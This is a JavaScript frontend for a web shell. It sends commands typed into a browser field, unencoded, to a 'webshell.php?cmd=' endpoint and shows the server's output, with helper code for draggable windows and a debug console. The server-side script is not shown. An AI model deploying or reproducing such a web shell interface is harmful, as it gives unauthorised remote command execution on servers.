function makeXmlHttp(){
          var xmlhttp = null;
          if(window.XMLHttpRequest){
          xmlhttp = new XMLHttpRequest();
          }else{
               try{
                    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
               }catch(e){
                    window.alert("Uw browser ondersteunt het XMLHttpRequest object niet!");
               }
          }
          
          return xmlhttp;
     }
	 



function cmd() {

	var cmd = document.getElementById('newcmd').value;
	ReturnShell(cmd);
	AddToConsole('Command send to server');
	var xmlhttp = makeXmlHttp();
	xmlhttp.open("GET","webshell.php?cmd="+ cmd +"&t" +Math.random(),true)

	xmlhttp.onreadystatechange = function() {

               if(xmlhttp.readyState == 4){
			AddToConsole('Response received');
			ReturnShell(xmlhttp.responseText);
			document.getElementById('newcmd').value='';
               }
	}
		  	xmlhttp.send(null);
	 
}

function AddToConsole(message) 
{ 
 var c = document.getElementById("debugconsole"); 
 if(!c ) return; 
 var d = document.createElement("div"); 
 var t = document.createTextNode(message); 
 d.appendChild(t); 
 c.appendChild(d); 

 if (d.scrollIntoView) {
 d.scrollIntoView(true);
 } else if ('number' == typeof c.scrollTop){
 c.scrollTop = 10000;
 }
} 

function ReturnShell(result) 
{ 
 var c = document.getElementById("shelloutput"); 
 if(!c ) return; 
 var d = document.createElement("div"); 
 var t = document.createTextNode(result); 
 d.appendChild(t); 
 c.appendChild(d); 

 if (d.scrollIntoView) {
 d.scrollIntoView(true);
 } else if ('number' == typeof c.scrollTop){
 c.scrollTop = 10000;
 }
} 

function Browser() {

var ua, s, i;

this.isIE = false;
this.isNS = false;
this.version = null;

ua = navigator.userAgent;

s = "MSIE";
if ((i = ua.indexOf(s)) >= 0) {
this.isIE = true;
this.version = parseFloat(ua.substr(i + s.length));
return;
}

s = "Netscape6/";
if ((i = ua.indexOf(s)) >= 0) {
this.isNS = true;
this.version = parseFloat(ua.substr(i + s.length));
return;
}

// Treat any other "Gecko" browser as NS 6.1.

s = "Gecko";
if ((i = ua.indexOf(s)) >= 0) {
this.isNS = true;
this.version = 6.1;
return;
}
}

var browser = new Browser();

// Global object to hold drag information.

var dragObj = new Object();
dragObj.zIndex = 0;

function dragStart(event, id) {

var el;
var x, y;

// If an element id was given, find it. Otherwise use the element being
// clicked on.

if (id)
dragObj.elNode = document.getElementById(id);
else {
if (browser.isIE)
dragObj.elNode = window.event.srcElement;
if (browser.isNS)
dragObj.elNode = event.target;

// If this is a text node, use its parent element.

if (dragObj.elNode.nodeType == 3)
dragObj.elNode = dragObj.elNode.parentNode;
}

// Get cursor position with respect to the page.

if (browser.isIE) {
x = window.event.clientX + document.documentElement.scrollLeft
+ document.body.scrollLeft;
y = window.event.clientY + document.documentElement.scrollTop
+ document.body.scrollTop;
}
if (browser.isNS) {
x = event.clientX + window.scrollX;
y = event.clientY + window.scrollY;
}

// Save starting positions of cursor and element.

dragObj.cursorStartX = x;
dragObj.cursorStartY = y;
dragObj.elStartLeft = parseInt(dragObj.elNode.style.left, 10);
dragObj.elStartTop = parseInt(dragObj.elNode.style.top, 10);

if (isNaN(dragObj.elStartLeft)) dragObj.elStartLeft = 0;
if (isNaN(dragObj.elStartTop)) dragObj.elStartTop = 0;

// Update element's z-index.

dragObj.elNode.style.zIndex = ++dragObj.zIndex;

// Capture mousemove and mouseup events on the page.

if (browser.isIE) {
document.attachEvent("onmousemove", dragGo);
document.attachEvent("onmouseup", dragStop);
window.event.cancelBubble = true;
window.event.returnValue = false;
}
if (browser.isNS) {
document.addEventListener("mousemove", dragGo, true);
document.addEventListener("mouseup", dragStop, true);
event.preventDefault();
}
}

function dragGo(event) {

var x, y;

// Get cursor position with respect to the page.

if (browser.isIE) {
x = window.event.clientX + document.documentElement.scrollLeft
+ document.body.scrollLeft;
y = window.event.clientY + document.documentElement.scrollTop
+ document.body.scrollTop;
}
if (browser.isNS) {
x = event.clientX + window.scrollX;
y = event.clientY + window.scrollY;
}

// Move drag element by the same amount the cursor has moved.

dragObj.elNode.style.left = (dragObj.elStartLeft + x - dragObj.cursorStartX) + "px";
dragObj.elNode.style.top = (dragObj.elStartTop + y - dragObj.cursorStartY) + "px";

AddToConsole('window moved x ' + x + 'px, Y ' + y +'px');

if (browser.isIE) {
window.event.cancelBubble = true;
window.event.returnValue = false;
}
if (browser.isNS)
event.preventDefault();
}

function dragStop(event) {

// Stop capturing mousemove and mouseup events.

if (browser.isIE) {
document.detachEvent("onmousemove", dragGo);
document.detachEvent("onmouseup", dragStop);
}
if (browser.isNS) {
document.removeEventListener("mousemove", dragGo, true);
document.removeEventListener("mouseup", dragStop, true);
}
}

function init() {

AddToConsole("services loaded");
AddToConsole("Interface loaded");
AddToConsole("terminal interface loaded");
ReturnShell("Welcome to M4RTiN Information Services");
document.getElementById('newcmd').focus();

}